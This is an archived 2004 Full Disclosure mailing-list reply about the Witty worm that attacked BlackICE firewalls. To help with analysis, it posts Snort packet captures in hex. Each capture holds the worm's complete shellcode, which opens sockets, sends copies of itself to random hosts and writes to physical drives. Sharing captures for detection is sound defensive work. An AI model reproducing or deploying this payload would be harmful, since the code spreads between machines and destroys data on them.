Full Disclosure mailing list archives
Re: Whitty worm for blackice
From: John Sage <jsage () finchhaven com>
Date: Sat, 20 Mar 2004 09:51:41 -0800
On Sat, Mar 20, 2004 at 02:04:26AM -0600, Daniel F. Chief Security Engineer - wrote:
From: "Daniel F. Chief Security Engineer -" <danielf () supportteam net> To: full-disclosure () lists netsys com User-Agent: KMail/1.5.4 Subject: [Full-disclosure] Whitty worm for blackice Date: Sat, 20 Mar 2004 02:04:26 -0600 Does anyone have any info on this worm, or a capture or file list.
apparently the source port changes, but FWIW...
input: snort211.log-Mar.20.08:51
filter: ip and ( udp and src port 4000 )
#
U 2004/03/19 21:05:18.855770 204.157.0.94:4000 -> 24.19.14y.xxx:7141
05 00 00 00 00 00 00 12 02 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 2c 00 05 00 00 00 00 00 00 6e ......,........n
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 41 02 05 00 00 00 00 00 00 de 03 00 ....A...........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ................
00 01 00 00 01 00 00 1e 02 20 20 20 20 20 20 20 .........
28 5e 2e 5e 29 20 20 20 20 20 20 69 6e 73 65 72 (^.^) inser
74 20 77 69 74 74 79 20 6d 65 73 73 61 67 65 20 t witty message
68 65 72 65 2e 20 20 20 20 20 20 28 5e 2e 5e 29 here. (^.^)
20 20 20 20 20 20 20 89 e7 8b 7f 14 83 c7 08 81 .........
c4 e8 fd ff ff 31 c9 66 b9 33 32 51 68 77 73 32 .....1.f.32Qhws2
5f 54 3e ff 15 9c 40 0d 5e 89 c3 31 c9 66 b9 65 _T>...@.^..1.f.e
74 51 68 73 6f 63 6b 54 53 3e ff 15 98 40 0d 5e tQhsockTS>...@.^
6a 11 6a 02 6a 02 ff d0 89 c6 31 c9 51 68 62 69 j.j.j.....1.Qhbi
6e 64 54 53 3e ff 15 98 40 0d 5e 31 c9 51 51 51 ndTS>...@.^1.QQQ
81 e9 fe ff f0 5f 51 89 e1 6a 10 51 56 ff d0 31 ....._Q..j.QV..1
c9 66 b9 74 6f 51 68 73 65 6e 64 54 53 3e ff 15 .f.toQhsendTS>..
98 40 0d 5e 89 c3 83 c4 3c 31 c9 51 68 65 6c 33 .@.^....<1.Qhel3
32 68 6b 65 72 6e 54 3e ff 15 9c 40 0d 5e 31 c9 2hkernT>...@.^1.
51 68 6f 75 6e 74 68 69 63 6b 43 68 47 65 74 54 QhounthickChGetT
54 50 3e ff 15 98 40 0d 5e ff d0 89 c5 83 c4 1c TP>...@.^.......
31 c9 81 e9 e0 b1 ff ff 51 31 c0 2d 03 bc fc ff 1.......Q1.-....
f7 e5 2d 3d 61 d9 ff 89 c1 31 c0 2d 03 bc fc ff ..-=a....1.-....
f7 e1 2d 3d 61 d9 ff 89 c5 31 d2 52 52 c1 e9 10 ..-=a....1.RR...
66 89 c8 50 31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 f..P1.-......-=a
d9 ff 89 c5 30 e4 b0 02 50 89 e0 6a 10 50 31 c0 ....0...P..j.P1.
50 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 c1 P-......-=a.....
e8 17 80 c4 03 50 57 56 ff d3 83 c4 10 59 e2 98 .....PWV.....Y..
31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 1.-......-=a....
c1 e8 10 80 e4 07 80 cc 30 b0 45 50 68 44 52 49 ........0.EPhDRI
56 68 49 43 41 4c 68 50 48 59 53 68 5c 5c 2e 5c VhICALhPHYSh\\.\
89 e0 31 c9 51 b2 20 c1 e2 18 52 6a 03 51 6a 03 ..1.Q. ...Rj.Qj.
d1 e2 52 50 3e ff 15 dc 40 0d 5e 83 c4 14 31 c9 ..RP>...@.^...1.
81 e9 e0 b1 ff ff 3d ff ff ff ff 0f 84 37 ff ff ......=......7..
ff 56 89 c6 31 c0 50 50 2d 03 bc fc ff f7 e5 2d .V..1.PP-......-
3d 61 d9 ff 89 c5 d1 e8 66 89 c8 50 56 3e ff 15 =a......f..PV>..
c4 40 0d 5e 31 c9 51 89 e2 51 52 b5 80 d1 e1 51 .@.^1.Q..QR....Q
b1 5e c1 e1 18 51 56 3e ff 15 94 40 0d 5e 56 3e .^...QV>...@.^V>
ff 15 38 40 0d 5e 5e 5e e9 ac fe ff ff 63 76 07 ..8@.^^^.....cv.
5e e9 21 fe ff ff 00 43 66 6a 76 63 6c 62 34 31 ^.!....Cfjvclb41
50 51 35 30 6a 48 31 50 63 34 50 51 55 59 48 78 PQ50jH1Pc4PQUYHx
37 74 65 4f 7a 54 53 54 59 54 65 4c 4d 41 0d 0a 7teOzTSTYTeLMA..
44 6c 44 33 52 37 6c 56 74 42 43 75 6b 6b 68 64 DlD3R7lVtBCukkhd
7a 2b 32 76 6f 75 30 33 41 63 35 57 4f 52 6b 75 z+2vou03Ac5WORku
71 72 67 64 4b 72 75 31 5a 49 4f 43 6c 53 52 2f qrgdKru1ZIOClSR/
78 51 4f 69 4b 6f 36 48 7a 4a 75 67 52 72 49 34 xQOiKo6HzJugRrI4
73 37 4f 6b 53 4b 77 50 71 4c 75 34 0d 0a 35 62 s7OkSKwPqLu4..5b
61 4e 62 52 30 67 50 4e 59 50 40 00 34 06 b6 62 aNbR0gPNYP@.4..b
40 44 52 19 92 8e 04 42 67 41 62 41 46 30 45 44 @DR....BgAbAF0ED
41 41 57 41 41 41 41 41 41 41 41 41 41 41 41 4b AAWAAAAAAAAAAAAK
41 41 52 42 77 33 2f 42 80 00 00 00 de 05 00 00 AARBw3/B........
de 44 41 44 41 44 44 46 42 44 45 43 41 43 41 00 .DADADDFBDECACA.
20 45 42 45 4e 45 44 43 11 00 07 00 dd 03 00 00 EBENEDC........
dd 03 00 00 00 04 00 00 02 00 00 00 d4 cd 5b 40 ..............[@
b4 c4 04 00 4d 42 00 00 00 00 00 02 00 08 74 39 ....MB........t9
a0 70 08 00 45 00 03 cf 00 0b 00 00 80 11 00 00 .p..E...........
80 d0 92 8a b1 57 e8 d2 0f a0 10 de 03 bb 32 68 .....W........2h
05 00 00 00 00 00 00 12 02 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 2c 00 05 00 00 00 00 00 00 6e ......,........n
00 73 b5 19 50 19 43 93 82 8b 00 00 43 6f 6e 74 .s..P.C.....Cont
65 6e 74 2d 74 79 70 65 11 00 07 00 46 00 00 00 ent-type....F...
46 00 00 00 80 00 00 00 02 00 00 00 ba cd 5b 40 F.............[@
13 11 0e 00 54 49 00 00 00 00 00 02 00 30 48 71 ....TI.......0Hq
40 e0 08 00 45 00 00 38 4d 83 00 00 80 01 00 00 @...E..8M.......
cc 9d 00 c1 ....
#
U 2004/03/19 21:14:06.245245 128.253.77.62:4000 -> 24.19.14y.xxx:7141
05 00 00 00 00 00 00 12 02 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 2c 00 05 00 00 00 00 00 00 6e ......,........n
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 41 02 05 00 00 00 00 00 00 de 03 00 ....A...........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ................
00 01 00 00 01 00 00 1e 02 20 20 20 20 20 20 20 .........
28 5e 2e 5e 29 20 20 20 20 20 20 69 6e 73 65 72 (^.^) inser
74 20 77 69 74 74 79 20 6d 65 73 73 61 67 65 20 t witty message
68 65 72 65 2e 20 20 20 20 20 20 28 5e 2e 5e 29 here. (^.^)
20 20 20 20 20 20 20 89 e7 8b 7f 14 83 c7 08 81 .........
c4 e8 fd ff ff 31 c9 66 b9 33 32 51 68 77 73 32 .....1.f.32Qhws2
5f 54 3e ff 15 9c 40 0d 5e 89 c3 31 c9 66 b9 65 _T>...@.^..1.f.e
74 51 68 73 6f 63 6b 54 53 3e ff 15 98 40 0d 5e tQhsockTS>...@.^
6a 11 6a 02 6a 02 ff d0 89 c6 31 c9 51 68 62 69 j.j.j.....1.Qhbi
6e 64 54 53 3e ff 15 98 40 0d 5e 31 c9 51 51 51 ndTS>...@.^1.QQQ
81 e9 fe ff f0 5f 51 89 e1 6a 10 51 56 ff d0 31 ....._Q..j.QV..1
c9 66 b9 74 6f 51 68 73 65 6e 64 54 53 3e ff 15 .f.toQhsendTS>..
98 40 0d 5e 89 c3 83 c4 3c 31 c9 51 68 65 6c 33 .@.^....<1.Qhel3
32 68 6b 65 72 6e 54 3e ff 15 9c 40 0d 5e 31 c9 2hkernT>...@.^1.
51 68 6f 75 6e 74 68 69 63 6b 43 68 47 65 74 54 QhounthickChGetT
54 50 3e ff 15 98 40 0d 5e ff d0 89 c5 83 c4 1c TP>...@.^.......
31 c9 81 e9 e0 b1 ff ff 51 31 c0 2d 03 bc fc ff 1.......Q1.-....
f7 e5 2d 3d 61 d9 ff 89 c1 31 c0 2d 03 bc fc ff ..-=a....1.-....
f7 e1 2d 3d 61 d9 ff 89 c5 31 d2 52 52 c1 e9 10 ..-=a....1.RR...
66 89 c8 50 31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 f..P1.-......-=a
d9 ff 89 c5 30 e4 b0 02 50 89 e0 6a 10 50 31 c0 ....0...P..j.P1.
50 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 c1 P-......-=a.....
e8 17 80 c4 03 50 57 56 ff d3 83 c4 10 59 e2 98 .....PWV.....Y..
31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 1.-......-=a....
c1 e8 10 80 e4 07 80 cc 30 b0 45 50 68 44 52 49 ........0.EPhDRI
56 68 49 43 41 4c 68 50 48 59 53 68 5c 5c 2e 5c VhICALhPHYSh\\.\
89 e0 31 c9 51 b2 20 c1 e2 18 52 6a 03 51 6a 03 ..1.Q. ...Rj.Qj.
d1 e2 52 50 3e ff 15 dc 40 0d 5e 83 c4 14 31 c9 ..RP>...@.^...1.
81 e9 e0 b1 ff ff 3d ff ff ff ff 0f 84 37 ff ff ......=......7..
ff 56 89 c6 31 c0 50 50 2d 03 bc fc ff f7 e5 2d .V..1.PP-......-
3d 61 d9 ff 89 c5 d1 e8 66 89 c8 50 56 3e ff 15 =a......f..PV>..
c4 40 0d 5e 31 c9 51 89 e2 51 52 b5 80 d1 e1 51 .@.^1.Q..QR....Q
b1 5e c1 e1 18 51 56 3e ff 15 94 40 0d 5e 56 3e .^...QV>...@.^V>
ff 15 38 40 0d 5e 5e 5e e9 ac fe ff ff 63 76 07 ..8@.^^^.....cv.
5e e9 21 fe ff ff 00 43 66 6a 76 63 6c 62 34 31 ^.!....Cfjvclb41
50 51 35 30 6a 48 31 50 63 34 50 51 55 59 48 78 PQ50jH1Pc4PQUYHx
37 74 65 4f 7a 54 53 54 59 54 65 4c 4d 41 0d 0a 7teOzTSTYTeLMA..
44 6c 44 33 52 37 6c 56 74 42 43 75 6b 6b 68 64 DlD3R7lVtBCukkhd
7a 2b 32 76 6f 75 30 33 41 63 35 57 4f 52 6b 75 z+2vou03Ac5WORku
71 72 67 64 4b 72 75 31 5a 49 4f 43 6c 53 52 2f qrgdKru1ZIOClSR/
78 51 4f 69 4b 6f 36 48 7a 4a 75 67 52 72 49 34 xQOiKo6HzJugRrI4
73 37 4f 6b 53 4b 77 50 71 4c 75 34 0d 0a 35 62 s7OkSKwPqLu4..5b
61 4e 62 52 30 67 50 4e 59 50 40 00 34 06 b6 62 aNbR0gPNYP@.4..b
40 44 52 19 92 8e 04 42 67 41 62 41 46 30 45 44 @DR....BgAbAF0ED
41 41 57 41 41 41 41 41 41 41 41 41 41 31 38 33 AAWAAAAAAAAAA183
22 3e 0a 20 20 20 20 20 80 01 00 00 46 00 00 00 ">. ....F...
46 00 00 00 80 00 00 00 02 00 00 00 66 cc 5b 40 F...........f.[@
c1 72 02 00 00 00 00 00 0e 58 ce 94 08 00 20 cf .r.......X.... .
2a 01 08 00 45 00 00 38 00 01 00 00 fe 01 75 2a *...E..8......u*
ca f3 ea 08 8c 99 06 04 03 03 de 2b 00 00 00 00 ...........+....
45 00 03 49 46 d3 00 00 6f 11 ba 37 8c 99 06 04 E..IF...o..7....
ca f3 ea 08 0f a0 f0 20 03 35 1b db 9b 45 4a 1f ....... .5...EJ.
cb f3 3c ca 50 10 7f ff d9 06 00 00 69 67 6e 3d ..<.P.......ign=
22 63 65 6e 74 65 72 22 80 00 00 00 09 00 00 00 "center"........
03 00 00 00 03 00 00 00 00 00 00 00 07 00 00 00 ................
62 61 69 6c 65 79 00 00 11 00 07 00 e7 03 00 00 bailey..........
e7 03 00 00 20 04 00 00 02 00 00 00 2f cf 5b 40 .... ......./.[@
29 de 07 00 00 00 00 00 00 00 00 02 00 0f 1f 03 )...............
f6 75 08 00 45 00 03 d9 38 6e 00 00 80 11 00 00 .u..E...8n......
80 fd 4d 3e ..M>
#
U 2004/03/19 21:23:34.633167 129.82.32.100:4000 -> 24.19.14y.xxx:7141
05 00 00 00 00 00 00 12 02 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 2c 00 05 00 00 00 00 00 00 6e ......,........n
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 41 02 05 00 00 00 00 00 00 de 03 00 ....A...........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ................
00 01 00 00 01 00 00 1e 02 20 20 20 20 20 20 20 .........
28 5e 2e 5e 29 20 20 20 20 20 20 69 6e 73 65 72 (^.^) inser
74 20 77 69 74 74 79 20 6d 65 73 73 61 67 65 20 t witty message
68 65 72 65 2e 20 20 20 20 20 20 28 5e 2e 5e 29 here. (^.^)
20 20 20 20 20 20 20 89 e7 8b 7f 14 83 c7 08 81 .........
c4 e8 fd ff ff 31 c9 66 b9 33 32 51 68 77 73 32 .....1.f.32Qhws2
5f 54 3e ff 15 9c 40 0d 5e 89 c3 31 c9 66 b9 65 _T>...@.^..1.f.e
74 51 68 73 6f 63 6b 54 53 3e ff 15 98 40 0d 5e tQhsockTS>...@.^
6a 11 6a 02 6a 02 ff d0 89 c6 31 c9 51 68 62 69 j.j.j.....1.Qhbi
6e 64 54 53 3e ff 15 98 40 0d 5e 31 c9 51 51 51 ndTS>...@.^1.QQQ
81 e9 fe ff f0 5f 51 89 e1 6a 10 51 56 ff d0 31 ....._Q..j.QV..1
c9 66 b9 74 6f 51 68 73 65 6e 64 54 53 3e ff 15 .f.toQhsendTS>..
98 40 0d 5e 89 c3 83 c4 3c 31 c9 51 68 65 6c 33 .@.^....<1.Qhel3
32 68 6b 65 72 6e 54 3e ff 15 9c 40 0d 5e 31 c9 2hkernT>...@.^1.
51 68 6f 75 6e 74 68 69 63 6b 43 68 47 65 74 54 QhounthickChGetT
54 50 3e ff 15 98 40 0d 5e ff d0 89 c5 83 c4 1c TP>...@.^.......
31 c9 81 e9 e0 b1 ff ff 51 31 c0 2d 03 bc fc ff 1.......Q1.-....
f7 e5 2d 3d 61 d9 ff 89 c1 31 c0 2d 03 bc fc ff ..-=a....1.-....
f7 e1 2d 3d 61 d9 ff 89 c5 31 d2 52 52 c1 e9 10 ..-=a....1.RR...
66 89 c8 50 31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 f..P1.-......-=a
d9 ff 89 c5 30 e4 b0 02 50 89 e0 6a 10 50 31 c0 ....0...P..j.P1.
50 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 c1 P-......-=a.....
e8 17 80 c4 03 50 57 56 ff d3 83 c4 10 59 e2 98 .....PWV.....Y..
31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 1.-......-=a....
c1 e8 10 80 e4 07 80 cc 30 b0 45 50 68 44 52 49 ........0.EPhDRI
56 68 49 43 41 4c 68 50 48 59 53 68 5c 5c 2e 5c VhICALhPHYSh\\.\
89 e0 31 c9 51 b2 20 c1 e2 18 52 6a 03 51 6a 03 ..1.Q. ...Rj.Qj.
d1 e2 52 50 3e ff 15 dc 40 0d 5e 83 c4 14 31 c9 ..RP>...@.^...1.
81 e9 e0 b1 ff ff 3d ff ff ff ff 0f 84 37 ff ff ......=......7..
ff 56 89 c6 31 c0 50 50 2d 03 bc fc ff f7 e5 2d .V..1.PP-......-
3d 61 d9 ff 89 c5 d1 e8 66 89 c8 50 56 3e ff 15 =a......f..PV>..
c4 40 0d 5e 31 c9 51 89 e2 51 52 b5 80 d1 e1 51 .@.^1.Q..QR....Q
b1 5e c1 e1 18 51 56 3e ff 15 94 40 0d 5e 56 3e .^...QV>...@.^V>
ff 15 38 40 0d 5e 5e 5e e9 ac fe ff ff 63 76 07 ..8@.^^^.....cv.
5e e9 21 fe ff ff 00 43 66 6a 76 63 6c 62 34 31 ^.!....Cfjvclb41
50 51 35 30 6a 48 31 50 63 34 50 51 55 59 48 78 PQ50jH1Pc4PQUYHx
37 74 65 4f 7a 54 53 54 59 54 65 4c 4d 41 0d 0a 7teOzTSTYTeLMA..
44 6c 44 33 52 37 6c 56 74 42 43 75 6b 6b 68 64 DlD3R7lVtBCukkhd
7a 2b 32 76 6f 75 30 33 41 63 35 57 4f 52 6b 75 z+2vou03Ac5WORku
71 72 67 64 4b 72 75 31 5a 49 4f 43 6c 53 52 2f qrgdKru1ZIOClSR/
78 51 4f 69 4b 6f 36 48 7a 4a 75 67 52 72 49 34 xQOiKo6HzJugRrI4
73 37 4f 6b 53 4b 77 50 71 4c 75 34 0d 0a 35 62 s7OkSKwPqLu4..5b
61 4e 62 52 30 67 50 4e 59 50 40 00 34 06 b6 62 aNbR0gPNYP@.4..b
40 44 52 19 92 8e 04 16 a0 00 00 00 10 04 00 00 @DR.............
10 04 00 00 40 04 00 00 02 00 00 00 b0 cd 5b 40 ....@.........[@
0e 27 07 00 00 3e 00 b0 4a e8 04 1c 00 0b db 41 .'...>..J......A
92 7b 08 00 45 00 04 02 1b 72 00 00 80 11 00 00 .{..E....r......
92 8e 0c 04 c4 5e 0f 3f 0f a0 da 56 03 ee 00 a6 .....^.?...V....
05 00 00 00 00 00 00 12 02 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 2c 00 05 00 00 00 00 00 00 6e ......,........n
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 41 02 05 00 00 00 00 00 00 de 5b aa ....A.........[.
88 76 fa 6a e6 f5 e6 00 45 db 91 7b d7 bb aa 9e .v.j....E..{....
f5 63 ba 5b cb 5b f5 32 ff 7a 53 0f d2 df 36 53 .c.[.[.2.zS...6S
d3 e9 c8 3b ea b4 02 78 7a 6f b7 4f 5e 5b 70 fb ...;...xzo.O^[p.
5a a5 f7 d8 a3 ea be 1c 48 ba 68 7a 6f b0 c9 7c Z.......H.hzo..|
52 6a 28 3a 6f 9b a2 4c e2 da b0 cc 56 4d ce 99 Rj(:o..L....VM..
1f 9b 74 51 1d d2 77 2b 5a a5 49 0c 78 59 fe 03 ..tQ..w+Z.I.xY..
db 36 46 48 .6FH
#
U 2004/03/19 21:26:17.528590 137.132.111.47:4000 -> 24.19.14y.xxx:7141
05 00 00 00 00 00 00 12 02 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 2c 00 05 00 00 00 00 00 00 6e ......,........n
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 41 02 05 00 00 00 00 00 00 de 03 00 ....A...........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ................
00 01 00 00 01 00 00 1e 02 20 20 20 20 20 20 20 .........
28 5e 2e 5e 29 20 20 20 20 20 20 69 6e 73 65 72 (^.^) inser
74 20 77 69 74 74 79 20 6d 65 73 73 61 67 65 20 t witty message
68 65 72 65 2e 20 20 20 20 20 20 28 5e 2e 5e 29 here. (^.^)
20 20 20 20 20 20 20 89 e7 8b 7f 14 83 c7 08 81 .........
c4 e8 fd ff ff 31 c9 66 b9 33 32 51 68 77 73 32 .....1.f.32Qhws2
5f 54 3e ff 15 9c 40 0d 5e 89 c3 31 c9 66 b9 65 _T>...@.^..1.f.e
74 51 68 73 6f 63 6b 54 53 3e ff 15 98 40 0d 5e tQhsockTS>...@.^
6a 11 6a 02 6a 02 ff d0 89 c6 31 c9 51 68 62 69 j.j.j.....1.Qhbi
6e 64 54 53 3e ff 15 98 40 0d 5e 31 c9 51 51 51 ndTS>...@.^1.QQQ
81 e9 fe ff f0 5f 51 89 e1 6a 10 51 56 ff d0 31 ....._Q..j.QV..1
c9 66 b9 74 6f 51 68 73 65 6e 64 54 53 3e ff 15 .f.toQhsendTS>..
98 40 0d 5e 89 c3 83 c4 3c 31 c9 51 68 65 6c 33 .@.^....<1.Qhel3
32 68 6b 65 72 6e 54 3e ff 15 9c 40 0d 5e 31 c9 2hkernT>...@.^1.
51 68 6f 75 6e 74 68 69 63 6b 43 68 47 65 74 54 QhounthickChGetT
54 50 3e ff 15 98 40 0d 5e ff d0 89 c5 83 c4 1c TP>...@.^.......
31 c9 81 e9 e0 b1 ff ff 51 31 c0 2d 03 bc fc ff 1.......Q1.-....
f7 e5 2d 3d 61 d9 ff 89 c1 31 c0 2d 03 bc fc ff ..-=a....1.-....
f7 e1 2d 3d 61 d9 ff 89 c5 31 d2 52 52 c1 e9 10 ..-=a....1.RR...
66 89 c8 50 31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 f..P1.-......-=a
d9 ff 89 c5 30 e4 b0 02 50 89 e0 6a 10 50 31 c0 ....0...P..j.P1.
50 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 c1 P-......-=a.....
e8 17 80 c4 03 50 57 56 ff d3 83 c4 10 59 e2 98 .....PWV.....Y..
31 c0 2d 03 bc fc ff f7 e5 2d 3d 61 d9 ff 89 c5 1.-......-=a....
c1 e8 10 80 e4 07 80 cc 30 b0 45 50 68 44 52 49 ........0.EPhDRI
56 68 49 43 41 4c 68 50 48 59 53 68 5c 5c 2e 5c VhICALhPHYSh\\.\
89 e0 31 c9 51 b2 20 c1 e2 18 52 6a 03 51 6a 03 ..1.Q. ...Rj.Qj.
d1 e2 52 50 3e ff 15 dc 40 0d 5e 83 c4 14 31 c9 ..RP>...@.^...1.
81 e9 e0 b1 ff ff 3d ff ff ff ff 0f 84 37 ff ff ......=......7..
ff 56 89 c6 31 c0 50 50 2d 03 bc fc ff f7 e5 2d .V..1.PP-......-
3d 61 d9 ff 89 c5 d1 e8 66 89 c8 50 56 3e ff 15 =a......f..PV>..
c4 40 0d 5e 31 c9 51 89 e2 51 52 b5 80 d1 e1 51 .@.^1.Q..QR....Q
b1 5e c1 e1 18 51 56 3e ff 15 94 40 0d 5e 56 3e .^...QV>...@.^V>
ff 15 38 40 0d 5e 5e 5e e9 ac fe ff ff 63 76 07 ..8@.^^^.....cv.
5e e9 21 fe ff ff 00 43 66 6a 76 63 6c 62 34 31 ^.!....Cfjvclb41
50 51 35 30 6a 48 31 50 63 34 50 51 55 59 48 78 PQ50jH1Pc4PQUYHx
37 74 65 4f 7a 54 53 54 59 54 65 4c 4d 41 0d 0a 7teOzTSTYTeLMA..
44 6c 44 33 52 37 6c 56 74 42 43 75 6b 6b 68 64 DlD3R7lVtBCukkhd
7a 2b 32 76 6f 75 30 33 41 63 35 57 4f 52 6b 75 z+2vou03Ac5WORku
71 72 67 64 4b 72 75 31 5a 49 4f 43 6c 53 52 2f qrgdKru1ZIOClSR/
78 51 4f 69 4b 6f 36 48 7a 4a 75 67 52 72 49 34 xQOiKo6HzJugRrI4
73 37 4f 6b 53 4b 77 50 71 4c 75 34 0d 0a 35 62 s7OkSKwPqLu4..5b
61 4e 62 52 30 67 50 4e 59 50 40 00 34 06 b6 62 aNbR0gPNYP@.4..b
40 44 52 19 92 8e 04 16 a0 00 00 00 10 04 00 00 @DR.............
10 30 31 30 30 44 30 30 36 39 3b 30 30 30 34 20 .0100D0069;0004
20 20 20 20 20 20 20 20 3b 30 30 30 36 41 4a 3b ;0006AJ;
30 38 2f 30 35 2f 32 30 30 32 3b 30 31 2f 30 31 08/05/2002;01/01
2f 31 39 30 30 3b 20 3b 20 38 39 35 33 36 3b 2b /1900; ; 89536;+
30 30 30 30 30 30 30 30 30 30 35 3b 20 20 20 20 00000000005;
20 20 20 20 20 20 20 35 31 36 2e 31 30 3b 2b 31 516.10;+1
34 30 3b 2b 30 38 31 3b 52 3b 52 3b 52 3b 30 31 40;+081;R;R;R;01
2f 30 31 2f 31 39 30 30 3b 20 20 20 3b 30 31 34 /01/1900; ;014
38 31 32 34 36 31 3b 30 31 34 38 31 32 34 36 31 812461;014812461
3b 0d 0a 4c 3b 36 36 32 35 30 31 34 38 31 32 34 ;..L;66250148124
36 31 3b 30 30 30 30 30 3b 36 36 32 35 30 31 34 61;00000;6625014
38 31 32 34 36 31 3b 4c 3b 32 3b 31 3b 46 51 3b 812461;L;2;1;FQ;
53 54 43 30 38 3b 44 41 41 48 30 31 30 30 44 30 STC08;DAAH0100D0
30 36 39 3b 30 30 30 34 20 20 20 20 20 20 20 20 069;0004
20 3b 30 30 30 36 41 4b 3b 30 38 2f 30 35 2f 32 ;0006AK;08/05/2
30 30 32 3b 002;
#
etc etc etc....
- John
--
"Mad cow? You'd be mad too, if someone was trying to eat you."
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Whitty worm for blackice Daniel F. Chief Security Engineer - (Mar 20)
- RE: Whitty worm for blackice Bill Royds (Mar 20)
- Re: Whitty worm for blackice Paul Schmehl (Mar 20)
- Re: Whitty worm for blackice John Sage (Mar 20)
- RE: Whitty worm for blackice Bill Royds (Mar 20)